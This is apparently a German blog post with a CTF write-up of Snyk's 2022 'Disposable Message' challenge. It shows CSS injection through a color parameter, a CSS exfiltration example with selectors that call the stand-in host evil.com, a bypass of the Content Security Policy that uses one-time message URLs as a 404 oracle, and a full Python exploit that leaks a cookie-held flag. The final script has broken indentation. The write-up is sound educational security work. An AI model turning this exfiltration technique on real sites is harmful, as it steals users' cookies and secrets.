Skip to main content

Fetch the Flag CTF 2022: Write-up zu Disposable Message

Artikel von

Michael Aquilina

feature ctf disposable message

10. November 2022

0 Min. Lesezeit

Vielen Dank, dass Sie Fetch mit uns gespielt haben! Glückwunsch an die Tausenden Spielerinnen und Spieler, die beiFetch the Flag CTF dabei waren. Ein großes Dankeschön auch an die Snyker, die die Challenges entwickelt, getestet und dokumentiert haben!

In diesem Blogbeitrag geht es um die Challenge Disposable Message bei Snyks Fetch the Flag CTF-Event 2022. Bei dieser Challenge ging es darum, mithilfe von CSS-Injection-Techniken eine anfällige Webseite auszunutzen und die Flag abzurufen. Disposable Message erwies sich als besonders schwierig, da eine strenge Content Security Policy (CSP) aktiv war. Der Schlüssel zur Umgehung dieser Richtlinie war schließlich, auszunutzen, dass Nachrichten nach dem Aufrufen abliefen.

In diesem Blogbeitrag beschreibe ich, wie ich einen funktionierenden Exploit für diese Challenge entwickelt habe. Ich erläutere meinen Weg – von der Untersuchung bis zur Entwicklung eines Exploits auf Grundlage der gewonnenen Erkenntnisse. Der Exploit ist in Python geschrieben. Ich gehe davon aus, dass Sie mit der Sprache vertraut sind. Kenntnisse in CSS, JavaScript und HTML sind ebenfalls hilfreich, aber ich erkläre die meisten erwähnten Konzepte.

Untersuchung

Zu Beginn der Challenge erhalten wir eine sehr kurze Beschreibung: „Diese Nachricht ist abgelaufen.“ Außerdem gibt es einen Link zu einer Webseite.

Die Beschreibung deutet darauf hin, dass die Webseite es uns ermöglicht, Nachrichten zu erstellen, die genau einmal aufgerufen werden können, bevor sie vom Server gelöscht werden. Dass dies in der Beschreibung erwähnt wird, ist wahrscheinlich ein deutlicher Hinweis darauf, dass es eine Rolle spielt (behalten Sie das für später im Hinterkopf).

Beim Aufrufen der Seite sehen wir Folgendes:

Webseite zu Disposable Message mit einem Nachrichtenfeld und einer blauen Schaltfläche „Senden“ zum Versenden selbstlöschender privater Nachrichten

Auf der Seite gibt es ein Textfeld zum Verfassen von Nachrichten. Wenn wir eine Nachricht eingeben und auf die Schaltfläche Send! klicken, wird uns die folgende Seite angezeigt:

Webseite für Einmalnachrichten mit teilbarer URL, Schaltflächen zum Kopieren und für den Admin-Besuch sowie dem Hinweis, dass die Nachricht nur einmal geöffnet werden kann

Wir sehen eine neue URL im Format /view/<message-id> (im Folgenden nennen wir sie die Seite Nachricht anzeigen). Außerdem gibt es eine Schaltfläche, mit der wir die Nachricht in die Zwischenablage kopieren können, sowie eine Schaltfläche Admin-Bot zum Aufrufen auffordern. Wenn wir die URL zum Anzeigen der Nachricht in unserem Browser öffnen, sehen wir die Nachricht, die wir erstellt haben. Rufen wir dieselbe Seite ein zweites Mal auf, antwortet der Webserver mit dem Statuscode 404.

Dunkler Website-Header mit „DM“, Sonne- und Mond-Schaltflächen sowie der zentrierten Meldung „Nicht gefunden :(“

Sehen wir uns nun die Schaltfläche Admin-Bot zum Aufrufen auffordern an. Wir können davon ausgehen, dass durch einen Klick darauf ein entfernter Admin-Bot die Nachricht in einem Browser aufruft. Das können wir uns ziemlich sicher sein, denn kurz nach dem Klick auf die Schaltfläche läuft unsere Nachricht ab. Auch der Name Admin-Bot legt stark nahe, dass dieser Browser die Flag enthält, die wir benötigen.

Werfen wir als Nächstes einen Blick auf den Quellcode der Seite und sehen wir uns an, was auffällt.

Position der Flag

Auf der Seite zum Anzeigen der Nachricht findet sich der folgende HTML-Codeausschnitt:

<!-- from your cookies -->
<div data-flag=""></div>

Laut dem Codekommentar wird das Attribut data-flag dieses div-Elements mit einem Wert aus unseren Cookies befüllt. Wir können das ganz einfach überprüfen, indem wir die Entwicklertools unseres Browsers öffnen und unsere Cookies bearbeiten.

Der naheliegendste Name für das Flag-Cookie ist „flag“. Wenn wir in einem Cookie namens „flag“ den Wert „SNYK{hello-world}“ festlegen und dann die Seite zum Anzeigen der Nachricht erneut öffnen, sehen wir, dass das Attribut korrekt befüllt wird:

Browser-Entwicklertools mit einem Cookies-Speichereintrag, dessen Flag-Wert SNYK{hello-world} lautet.
<!-- from your cookies -->
<div data-flag="SNYK{hello-world}">SNYK{hello-world}</div>

CSS-Injection

Wenn wir uns das auf der Seite zum Anzeigen der Nachricht eingebundene Skript ansehen, finden wir außerdem den folgenden JavaScript-Code:

if (window.location.search.startsWith('?color=')) {
    localStorage.setItem(
        'color',
        decodeURIComponent(window.location.search.replace('?color=', ''))
    );
}

const color = localStorage.getItem('color') || 'ffffff';
const style = document.createElement('style');

style.innerText = `body {background-color: #${color};}`;
document.head.appendChild(style);

Das Skript prüft, ob in der URL ein Query-String-Parameter „color“ vorhanden ist. Falls ja, wird der Wert dieses Parameters in ein style-Tag eingefügt. Anschließend wird das style-Tag dynamisch in unsere Webseite eingefügt.

Bemerkenswert an diesem style-Tag ist, dass es mithilfe von String-Formatierung erstellt wird. Durch die String-Formatierung können wir das style-Tag verlassen und erweitern, um beliebige CSS-Werte einzufügen. Das wird als CSS-Injection-Schwachstelle bezeichnet.

Wir können ganz einfach testen, ob sich dies für eine CSS-Injection ausnutzen lässt, indem wir den Parameter color auf einen Wert wie color=00ff00;font-size:80px setzen und überprüfen, ob sich die Schriftgröße wie angegeben ändert:

Webseite zu „Disposable Message“ mit einem Nachrichtenfeld, HTML-Tag-Text und blauem Senden-Button auf hellgrünem Hintergrund

Mit CSS-Injection können wir Informationen aus einer Seite im Browser eines Benutzers exfiltrieren. Bei diesem Injection-Angriff werden mehrere CSS-Selektoren erstellt, die URLs aufrufen, wenn Werte mit bestimmten Selektoren übereinstimmen.

Wenn wir zum Beispiel das Attribut data-flag eines HTML-div-Elements auslesen möchten, könnten wir den Parameter color auf einen Wert wie den folgenden setzen:

div[data-flag^=a] {
    background-image: url(//evil.com/a)
}
div[data-flag^=b] {
    background-image: url(//evil.com/b)
}
// etc…
div[data-flag^=y] {
    background-image: url(//evil.com/y)
}
div[data-flag^=z] {
    background-image: url(//evil.com/z)
}

Der obige ^=-Selektor ruft die zugehörige URL auf, wenn der Wert des Attributs mit der angegebenen Zeichenfolge beginnt.

Das bedeutet: Wenn das Attribut data-flag des div-Elements beispielsweise mit a beginnt, ruft unser Browser http//evil.com/a auf. Beginnt der Wert mit b, wird http//evil.com/b aufgerufen usw.

Wenn der Server evil.com uns gehört, wissen wir, welche Seiten aufgerufen wurden. Mit genügend Versuchen und CSS-Selektoren können wir das Attribut data-flag Zeichen für Zeichen auslesen.

Content Security Policy

Moderne Webbrowser unterstützen eine Funktion namens Content Security Policy (CSP), die einschränkt, welche Inhalte auf einer Webseite verwendet werden dürfen. Bei dieser Challenge verhindert eine CSP, dass wir die oben beschriebenen CSS-Injection-Techniken direkt einsetzen können.

Wir können die CSP mithilfe der Entwicklertools unseres Browsers überprüfen und uns die Header der Seite ansehen:

Browser-Entwicklertools mit einer erfolgreichen GET-Anfrage und einem Content-Security-Policy-Antwortheader mit Direktiven für Skript- und Bildquellen
Content-Security-Policy: default-src 'self'; font-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/; frame-src 'self'

Beachten Sie, dass im Abschnitt img-src der Richtlinie nur „self“ und „data“ zugelassen sind. Das bedeutet, dass wir nur URLs verwenden können, die zur selben Domain gehören wie die Disposable-Message-Seite. Insbesondere können wir keine Domain verwenden, die uns gehört, um zu prüfen, welche URLs durch CSS-Injection aufgerufen wurden. Stattdessen können wir jedoch die einmalig aufrufbaren Nachrichten der Challenge nutzen, um diese Einschränkung zu umgehen.

Wir wissen, dass jede Disposable Message nur einmal aufgerufen werden kann. Wurde eine Nachricht bereits aufgerufen, gibt sie den Statuscode 404 zurück. Wir können daher URLs von Disposable Messages in unseren CSS-Injection-Selektoren verwenden und anhand des Statuscodes erkennen, ob sie bereits aufgerufen wurden.

Zusammenfassung der Untersuchung

Das sind die wichtigsten Erkenntnisse aus der Untersuchung, die uns beim Erstellen unseres Exploits helfen. Falls Ihnen der vorherige Abschnitt nicht ganz klar war (oder Sie ihn nur überflogen haben), genügt es, wenn Sie Folgendes verstehen, um mit dem nächsten Abschnitt fortfahren zu können:

  • Die Seite zum Anzeigen der Nachricht ist anfällig für CSS-Injection über den Query-String-Parameter ?color=. Das bedeutet, dass wir beliebige Stile auf der Seite festlegen können.

  • Die Content Security Policy lässt nur URLs derselben Domain zu. Das bedeutet, dass unser Browser alle externen URLs blockiert.

  • Eine Nachricht kann nur einmal aufgerufen werden. Das bedeutet, dass wir den Statuscode 200 erhalten, wenn eine Nachricht noch nie aufgerufen wurde, und den Statuscode 404, wenn sie bereits aufgerufen wurde.

  • Die Flag befindet sich im Attribut data-flag auf der Seite zum Anzeigen der Nachricht. Dieser Wert wird durch den Cookie-Parameter „flag“ im Browser bereitgestellt. Wahrscheinlich hat der Admin-Bot dieses Cookie mit der richtigen Flag gesetzt.

Sehen wir uns an, wie wir all diese Details miteinander kombinieren können, um einen Exploit zu erstellen.

Der Exploit

Mit CSS-Injection können wir über das Attribut data-flag Informationen zur Flag Zeichen für Zeichen auslesen. Dafür müssen wir jedoch eine URL innerhalb derselben, von der Challenge bereitgestellten Domain verwenden. Beim Exfiltrieren von Zeichen per CSS-Injection kommt es darauf an, festzustellen, ob eine URL aufgerufen wurde, um herauszufinden, welche Zeichen exfiltriert werden.

Zum Glück können wir für jedes Zeichen Nachrichten innerhalb der Domain der Disposable Messages erstellen. Jede URL lässt sich verwenden und CSS-Selektoren mit den jeweiligen Zeichen zuordnen:

div[data-flag^=a] { background: url(/view/1d2e4e8b-40dc-4569-9737-6e7725277173); }
div[data-flag^=b] { background: url(/view/092d619a-269a-4b66-be55-bfe2ced506d7); }
div[data-flag^=c] { background: url(/view/2b87ba4d-4c8d-46e8-bcad-d664f3166ec4); }
div[data-flag^=d] { background: url(/view/a69bb0eb-cd83-43e9-9e14-6386cf486b9e); }
div[data-flag^=e] { background: url(/view/fe045e4b-41fb-4de1-973b-7ffd03563b13); }
…
div[data-flag^=}] { background: url(/view/54c5f762-2e8b-4257-91d2-2de3f9988318); }

Das können wir in Python beispielsweise so umsetzen:

payload = "?color=ffffff}"
messages = {}
for character in alphabet:
    guess = character
    # generate a message url to test our CSS selectors with
    view_url, _ = generate_message()
    messages[guess] = view_url

    payload += generate_payload(view_url, guess)

Die Funktion generate_payload muss einen CSS-Selektor erstellen, der die zugehörige URL aufruft, wenn unsere Vermutung stimmt. Die Funktion sieht so aus:

def generate_payload(url, guess):
    return f'div[data-flag^="{guess}"]{{background:url({url});}}'

Die Funktion generate_message muss über den Endpunkt POST /new eine neue Nachricht erstellen, der durch die Schaltfläche Send! aufgerufen wird. Anschließend müssen wir die vom Aufruf erzeugten URLs für den Admin-Bot und zum Anzeigen der Nachricht speichern. Diese URLs lassen sich mithilfe eines regulären Ausdrucks aus der Antwort extrahieren:

def generate_message():
    # the actual content of the message is not important
    data = {"message": "Hello world!"}
    resp = requests.post(DOMAIN + "/new", data=data)

    result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
    view_url = result[0]

    result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
    admin_url = result[0]

    return view_url, admin_url

Sobald unsere Nachrichten und die zugehörigen CSS-Selektor-Payloads erstellt wurden, müssen wir noch eine Nachricht erstellen, die der Admin-Bot aufruft. Diese Nachricht empfängt unsere Payload und ruft abhängig davon, ob unsere Vermutung mit dem Attribut „data-flag“ übereinstimmt, unsere Nachrichten-URLs auf.

Nachdem wir den Admin-Bot ausgelöst haben, müssen wir einige Sekunden warten, bis der Bot die Seite abruft und rendert. Danach prüfen wir die Statuscodes aller zugehörigen Vermutungs-URLs und suchen nach einer Antwort mit Statuscode 404. Finden wir eine solche, wissen wir, dass der Admin-Bot die URL aufgerufen hat, und können unsere Vermutung als richtig markieren.

flag = “”
payload = "?color=ffffff}"

messages = {}
for character in alphabet:
    guess = flag + character
    view_url, _ = generate_message()
    messages[guess] = view_url

    payload += generate_payload(view_url, guess)

_, admin_url = generate_message()

url = DOMAIN + admin_url + quote_plus(payload)
requests.post(url)

time.sleep(5)

for guess, url in messages.items():
    status = requests.get(DOMAIN + url).status_code
    print(f"Checking '{guess}': {url} ({status})")

    if status == 404:
        flag = guess
        print("Found match", flag)
        break

Den Query-String codieren

Vielleicht ist Ihnen beim Lesen des obigen Codes aufgefallen, dass wir quote_plus verwenden, um den gesamten Query-String zu codieren – einschließlich des Parameternamens und des Query-String-Trennzeichens ?color=. Der Grund dafür ist, dass Payloads, die über den Query-String an den Admin-Bot übergeben werden, ignoriert werden.

Um dieses Problem zu umgehen, können wir den Admin-Bot dazu bringen, den Query-String für einen Teil des URL-Pfads zu halten. Dadurch wird er in die URL zum Anzeigen der Nachricht aufgenommen, die der Bot aufruft.

Wenn wir zum Beispiel den folgenden URL-Pfad haben: /admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**?color=**ffffff%7D…

Dann ignoriert der Admin-Bot den Query-String-Parameter und ruft einfach den URL-Pfad /view/f785781-55f4-4eca-8565-8511f12a4ffc auf.

Wenn wir den Query-String-Parameter jedoch vollständig codieren, wird er Teil des URL-Pfads:

/admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**%3Fcolor%3D**ffffff%7D…

Der Webserver scheint diesen Wert zu decodieren, bevor er ihn an den Bot zum Aufrufen weitergibt. Das bedeutet, dass die Seiten-URL, die er aufruft, dann lautet:

/view/f785781-55f4-4eca-8565-8511f12a4ffc?color=ffffff}...

Die vollständige Flag abrufen

Jetzt, da wir wissen, wie wir Vermutungen richtig anstellen, müssen wir den Vorgang so lange wiederholen, bis unsere Vermutung vollständig mit der Flag übereinstimmt. Sobald wir ein } erreichen, wissen wir, dass wir aufhören können.

Aus früheren Flags anderer Challenges wissen wir außerdem, dass Snyk-Flags mit 'SNYK{' beginnen und der Inhalt zwischen den geschweiften Klammern aus UUIDs besteht. Das ist nützlich, denn so können wir unser Alphabet auf die Zeichen „a-f“ und „0-9“ beschränken. Dadurch verringert sich die Zeit, die für die Vermutungen bei jeder Iteration benötigt wird, erheblich.

Exploit-Code

Fügen wir all das zusammen: Der fertige Quellcode sieht so aus:

import time
import requests
import re
from urllib.parse import quote_plus
from string import digits

DOMAIN = "http://disposable-message.c.ctf-snyk.io"

def main():
      alphabet = "abcdef" + digits + "}"
      print("DOMAIN", DOMAIN)
      print("alphabet", alphabet)
      flag = "SNYK{"

      while True:
            payload = "?color=ffffff}"

            messages = {}
      for character in alphabet:
            guess = flag + character
            view_url, _ = generate_message()
            messages[guess] = view_url

            payload += generate_payload(view_url, guess)

      _, admin_url = generate_message()

      url = DOMAIN + admin_url + quote_plus(payload)
      requests.post(url)

      time.sleep(5)

      for guess, url in messages.items():
            status = requests.get(DOMAIN + url).status_code
            print(f"Checking '{guess}': {url} ({status})")

            if status == 404:
            flag = guess
            print("Found match", flag)
            Break
      else:
                  raise ValueError("Unable to find guess")

def generate_payload(url, guess):
      return f'div[data-flag^="{guess}"]{{background:url({url});}}'

def generate_message():
      data = {"message": "Hello world!"}
      resp = requests.post(DOMAIN + "/new", data=data)

      result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
      view_url = result[0]

      result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
      admin_url = result[0]

      return view_url, admin_url

if __name__ == "__main__":
      main()

Wenn wir diesen Code ausführen, erleben wir den erfreulichen Moment, in dem die SNYK-Flag Zeichen für Zeichen offengelegt wird:

Terminalfenster mit textbasierten Prüfungen für SNKY-Nachrichten-IDs, URL-Pfaden und HTTP-Statuscodes

Nachricht entsorgt, Challenge erledigt

Wir haben herausgefunden, dass die Disposable-Message-Challenge für CSS-Injection anfällig war. Eine restriktive Content Security Policy machte die Aufgabe zwar schwierig, doch wir konnten einen Exploit entwickeln, um die Flag auszulesen. Dazu nutzten wir den Statuscode 404, den bereits aufgerufene Nachrichten zurückgeben.

Ich hoffe, Ihnen hat dieser CTF-Write-up gefallen und Sie haben vielleicht sogar etwas Neues gelernt! CTF-Challenges sind eine großartige Möglichkeit, mehr über Exploits aus der Praxis zu erfahren. Dadurch können Sie sich besser vor solchen Angriffen in Ihren eigenen Systemen schützen. Möchten Sie erfahren, wie wir alle anderen Flags gefunden haben? Auf unserer Seite Fetch the Flag-Lösungen erfahren Sie, wie wir dabei vorgegangen sind.

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Warum KI-Coding-Agenten immer wieder fehlerhafte Zugriffskontrollen schreiben

KI-Coding-Agenten können Autorisierungslogik erzeugen, die kompiliert und die Prüfung besteht, dabei aber die Daten eines Mandanten für einen anderen offenlegt. Erfahren Sie, warum fehlerhafte Zugriffskontrollen schwer zu erkennen sind und wie Sie sie verhindern.